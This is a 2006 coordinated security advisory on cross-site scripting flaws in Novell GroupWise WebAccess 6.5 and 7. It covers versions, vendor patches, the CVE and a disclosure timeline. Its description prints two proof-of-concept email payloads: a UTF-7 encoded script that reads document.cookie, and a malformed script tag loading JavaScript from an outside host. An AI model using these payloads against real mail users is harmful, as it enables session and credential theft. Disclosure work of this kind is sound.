Novell Groupwise WebAccess Cross-Site Scripting


.:: SUMMARY

Novell Groupwise WebAccess Cross-Site Scripting

Version: Novell GroupWise WebAccess 7, 6.5
It is suspected that all previous versions of Groupwise WebAccess are
vulnerable.

.:: BACKGROUND

GroupWise WebAccess is Novell's premier Intranet/Internet GroupWare
solution for the Web.

More info:    http://www.novell.com

.:: DESCRIPTION

Remote explotation of Cross-Site Scripting due to failure of the
application to properly
sanitize user-supplied input prior to including it in dynamically generated
Web content.

Example 1:
- - ---------
Description: The filter of Groupwise doesn't check UTF-7 encondig.
Sending an email with the following html code we can execute javascript
code in the context of authenticated user browser. 

<html>
<head>
<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
</head>
+ADw-SCRIPT+AD4-alert(document.cookie);+ADw-/SCRIPT+AD4-
</html> 


Example 2:
- - ---------
Description: The filter of Groupwise doesn't sanitize the following code

<html>
<SCRIPT/XSS SRC="http://www.infobyte.com.ar/xss/xss.js"></SCRIPT>
<<SCRIPT><</SCRIPT> 
</html>

It show a simple codes of examples to execute script in the browser of an
unsuspecting user.
These issues may allow for the theft of authentication credentials.

.:: VENDOR RESPONSE

Vendor advisory:
   
"http://www.novell.com/support/search.do?cmd=displayKC&docType=kc&externalI
d=3701584&sliceId=SAL_Public&dialogID=8568328&stateId=0 0 8572233"

Vendor patch:
    Hot Patch for GroupWise 7:
http://support.novell.com/filefinder/20641/beta.html
    Field Test File for GroupWise 6.5:
http://support.novell.com/filefinder/16963/beta.html
    
.:: CVE INFORMATION

Id: CVE-2006-3817
Web: http://cve.mitre.org
    
.:: DISCLOSURE TIMELINE

05/26/2006  Initial vendor notification
05/26/2006  Initial vendor response
07/31/2006  Coordinated public disclosure

.:: CREDIT

Francisco Amato is credited with discovering this vulnerability.
famato][at][infobyte][dot][com][dot][ar

.:: ADVISORY

http://www.infobyte.com.ar/adv/ISR-14.html

.:: LEGAL NOTICES

Copyright (c) 2005 by [ISR] Infobyte Security Research.
Permission to redistribute this alert electronically is granted as long as
it is not 
edited in any way unless authorized by Infobyte Security Research Response.
Reprinting the whole or part of this alert in any medium other than
electronically 
requires permission from infobyte com ar

Disclaimer
The information in the advisory is believed to be accurate at the time of
publishing 
based on currently available information. Use of the information
constitutes acceptance 
for use in an AS IS condition. There are no warranties with regard to this
information. 
Neither the author nor the publisher accepts any liability for any direct,
indirect, or 
consequential loss or damage arising from use of, or reliance on, this
information.
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